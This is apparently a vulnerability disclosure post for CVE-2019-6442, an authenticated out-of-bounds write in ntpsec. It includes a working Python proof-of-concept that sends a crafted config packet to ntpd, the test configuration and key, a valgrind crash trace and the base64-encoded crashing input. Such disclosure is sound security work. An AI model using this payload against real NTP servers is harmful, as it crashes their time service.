_        _                   
    / |   ___| |_ ___ ___ ___ ___ 
 _ / /   |   |  _| . |_ -| -_|  _|
|_|_/    |_|_|_| |  _|___|___|___|
                 |_|              

2019-01-15

Authenticated out-of-bounds write in ntpsec
===========================================

CVE-2019-6442

This is the fourth of four bugs. For more visit: dumpco.re/blog/ntpsec-bugs

An authenticated out-of-bounds write bug was found in ntpsec.

Affected versions: all versions of ntpsec including, and prior to 1.1.2.

Timeline:

2018-10-21 Bug discovered
2018-10-21 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6442

It was found possible to cause ntpd to write out of bounds (OOB) using an authenticated but malformed `config` request.

Proof of concept exploit:

(Note that this PoC uses keyid 1, with password 'gurka'.)

  #!/usr/bin/env python
  import sys
  import socket

  buf = ("\x16\x08\x00\x03\x00\x00\x00\x00\x00\x00\x01\xd4\x6c\x65\x61\x6d" +
         "\x3d\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
         "\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x34\x41\x41\x42" +
         "\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41" +
         "\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41" +
         "\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42" +
         "\x42\x42\x42\x42\x42\x31\x32\x33\x34\x35\x3e\x37\x38\x39\x30\x31" +
         "\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37" +
         "\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x20\x2d\x36\x33" +
         "\x34\x35\x36\x37\x38\x39\x30\x31\x32\x38\x3d\x20\x2d\x36\x4a\x0a" +
         "\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x0a\x34\x35\x36" +
         "\x37\x38\x39\x0a\x0a\x0a\x26\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
         "\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a" +
         "\x42\x42\x42\x54\x42\x42\x41\x41\x41\x34\x41\x41\x42\x42\x42\x42" +
         "\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41" +
         "\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a" +
         "\x41\x41\x41\x41\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x25\x42" +
         "\x42\x41\x41\x41\x0a\xae\x4a\x0a\x0a\x0a\x0a\x0a\x64\x0a\x0a\x08" +
         "\x0a\x2b\x0a\x0a\x0a\x34\x35\x36\x37\x38\x39\x0a\x0a\x0a\x26\x0a" +
         "\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a" +
         "\x0a\x09\x0a\x0a\x0a\x0a\x0a\x0a\x42\x42\x42\x54\x42\x42\x41\x41" +
         "\x41\x34\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41" +
         "\x41\x0a\x2b\x0a\x0a\x0a\x0a\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a" +
         "\x64\x0a\x0a\x0a\x0a\x2b\x0a\x0a\x41\x41\x41\x41\x57\x41\x42\x42" +
         "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a\x0a\x42\x42\x42" +
         "\x41\x41\x41\x0a\x2b\x0a\x0a\x0a\x0a\x0a\x0a\x64\x41\x41\x41\x43" +
         "\x57\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x0a" +
         "\x0a\x0a\x05\xff\xff\x05\x0a\x64\x1b\x0a\x0a\x0a\x2b\x0a\x0a\x0a" +
         "\x0a\x0a\x41\x41\x41\x41\x41\x41\x41\x41\x41\x33\x34\x00\x00\x00" +
         "\x80\x39\x30\x20\x32\x33\x34\x35\x36\x37\x38\x39\x30\x41\x5b\x41" +
         "\x00\x00\x00\x01\x8f\x2c\x6e\x5b\x49\xe7\xa0\x78\xa1\x9b\x50\xf5" +
         "\xb2\x18\x04\x00")

  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.sendto(buf, ('127.0.0.1', 123))

Configuration:

  $ cat ~/resources/ntp.conf 
  logfile /tmp/ntp.log
  restrict 127.0.0.1
  keys /home/magnus/resources/keys
  trustedkey 1
  controlkey 1
  requestkey 1

  $ cat ~/resources/keys 
  1 M gurka
  2 M agurk

Crash report:

  $ sudo valgrind ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
  ==5650== Memcheck, a memory error detector
  ==5650== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
  ==5650== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
  ==5650== Command: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
  ==5650== 
  2018-10-21T21:37:52 ntpd[5650]: INIT: ntpd ntpsec-1.1.2 2018-10-21T19:18:03Z: Starting
  2018-10-21T21:37:52 ntpd[5650]: INIT: Command line: ./build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
  2018-10-21T21:37:52 ntpd[5650]: INIT: precision = 2.622 usec (-18)
  2018-10-21T21:37:52 ntpd[5650]: INIT: successfully locked into RAM
  2018-10-21T21:37:52 ntpd[5650]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
  2018-10-21T21:37:52 ntpd[5650]: CONFIG: requestkey is a no-op because ntpdc has been removed.
  2018-10-21T21:37:52 ntpd[5650]: LOG: switching logging to file /tmp/ntp.log
  2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: reading /home/magnus/resources/keys
  2018-10-21T21:37:52 ntpd[5650]: AUTH: authreadkeys: added 2 keys
  2018-10-21T21:37:52 ntpd[5650]: INIT: Using SO_TIMESTAMPNS
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 0 v6wildcard [::]:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 2 lo 127.0.0.1:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 3 eth0 192.168.245.220:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 4 eth0 192.168.245.131:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 5 lo [::1]:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
  2018-10-21T21:37:52 ntpd[5650]: IO: Listening on routing socket on fd #23 for interface updates
  2018-10-21T21:37:52 ntpd[5650]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
  2018-10-21T21:38:01 ntpd[5650]: MODE6: 127.0.0.1 config: leam=AAAAAAAAAABBBBBBBBBBAAAAAAA4AABBBBBBBBBBAAAAAAAAAABBBBBBBBBBAAABAAAAAAAAAABBBBBBBBBB12345>789012345678901234567890123456789 -634567890128= -6J
  ...
  < cut for brievity >
  ...
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 73, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 97 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 97, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 102 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 102, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 109 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 109, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 113 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 113, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 124 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 124, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 127 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 127, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 131 column 0 syntax error, unexpected T_String, expecting $end
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: syntax error in remote config from 127.0.0.1 line 131, column 0
  2018-10-21T21:38:01 ntpd[5650]: CONFIG: line 136 column 0 syntax error, unexpected T_String, expecting $end
  ==5650== Invalid write of size 1
  ==5650==    at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
  ==5650==    by 0x5FC6E21: snprintf (snprintf.c:33)
  ==5650==    by 0x123294: yyerror (ntp_parser.y:1418)
  ==5650==    by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
  ==5650==    by 0x113FB2: config_remotely (ntp_config.c:2985)
  ==5650==    by 0x127F97: configure (ntp_control.c:3050)
  ==5650==    by 0x128F5D: process_control (ntp_control.c:898)
  ==5650==    by 0x11DFC1: receive (ntp_proto.c:676)
  ==5650==    by 0x122BD2: mainloop (ntpd.c:982)
  ==5650==    by 0x122BD2: ntpdmain (ntpd.c:911)
  ==5650==    by 0x122D66: main (ntpd.c:426)
  ==5650==  Address 0x6f9822c0 is not stack'd, malloc'd or (recently) free'd
  ==5650== 
  ==5650== 
  ==5650== Process terminating with default action of signal 11 (SIGSEGV)
  ==5650==  Access not within mapped region at address 0x6F9822C0
  ==5650==    at 0x5FE83F2: vsnprintf (vsnprintf.c:117)
  ==5650==    by 0x5FC6E21: snprintf (snprintf.c:33)
  ==5650==    by 0x123294: yyerror (ntp_parser.y:1418)
  ==5650==    by 0x1249CE: yyparse (ntp_parser.tab.c:2917)
  ==5650==    by 0x113FB2: config_remotely (ntp_config.c:2985)
  ==5650==    by 0x127F97: configure (ntp_control.c:3050)
  ==5650==    by 0x128F5D: process_control (ntp_control.c:898)
  ==5650==    by 0x11DFC1: receive (ntp_proto.c:676)
  ==5650==    by 0x122BD2: mainloop (ntpd.c:982)
  ==5650==    by 0x122BD2: ntpdmain (ntpd.c:911)
  ==5650==    by 0x122D66: main (ntpd.c:426)
  ==5650==  If you believe this happened as a result of a stack
  ==5650==  overflow in your program's main thread (unlikely but
  ==5650==  possible), you can try to increase the size of the
  ==5650==  main thread stack using the --main-stacksize= flag.
  ==5650==  The main thread stack size used in this run was 8388608.
  ==5650== 
  ==5650== HEAP SUMMARY:
  ==5650==     in use at exit: 44,643 bytes in 617 blocks
  ==5650==   total heap usage: 751 allocs, 134 frees, 132,350 bytes allocated
  ==5650== 
  ==5650== LEAK SUMMARY:
  ==5650==    definitely lost: 294 bytes in 29 blocks
  ==5650==    indirectly lost: 0 bytes in 0 blocks
  ==5650==      possibly lost: 3,178 bytes in 5 blocks
  ==5650==    still reachable: 41,171 bytes in 583 blocks
  ==5650==         suppressed: 0 bytes in 0 blocks
  ==5650== Rerun with --leak-check=full to see details of leaked memory
  ==5650== 
  ==5650== For counts of detected and suppressed errors, rerun with: -v
  ==5650== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Proof of discovery:

  $ base64 bug4
  FggAAwAAAAAAAAHUbGVhbT1BQUFBQUFBQUFBQkJCQkJCQkJCQkFBQUFBQUE0QUFCQkJCQkJCQkJC
  QUFBQUFBQUFBQUJCQkJCQkJCQkJBQUFCQUFBQUFBQUFBQUJCQkJCQkJCQkIxMjM0NT43ODkwMTIz
  NDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkgLTYzNDU2Nzg5MDEyOD0gLTZKCgoKCgpkCgoKCisK
  Cgo0NTY3ODkKCgomCgoKCgoKCgoKCgoKCgoKCgoKCQoKCgoKCkJCQlRCQkFBQTRBQUJCQkJCQkJC
  QkJBQUEKKwoKCgpBCisKCgoKCgpkCgoKCisKCkFBQUFXQUJCQkJCQkJCJUJCQUFBCq5KCgoKCgpk
  CgoICisKCgo0NTY3ODkKCgomCgoKCgoKCgoKCgoKCgoKCgoKCQoKCgoKCkJCQlRCQkFBQTRBQUJC
  QkJCQkJCQkJBQUEKKwoKCgpBCisKCgoKCgpkCgoKCisKCkFBQUFXQUJCQkJCQkJCQkJBQUEKCkJC
  QkFBQQorCgoKCgoKZEFBQUNXQUJCQkJCQkJCQkJBQUEKCgoF//8FCmQbCgoKKwoKCgoKQUFBQUFB
  QUFBMzQAAACAOTAgMjM0NTY3ODkwQVtBAAAAAY8sbltJ56B4oZtQ9bIYBAA=

  $ sha256sum bug4
  edce9207903f229c17839dbfb16a3649c9d0eeb0625abb30466afb034c241cc7  bug4

twitter.com/magnusstubman/status/1054090180762554368

# References

ftp://ftp.ntpsec.org/pub/releases
gitlab.com/NTPsec/ntpsec/issues/510
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6442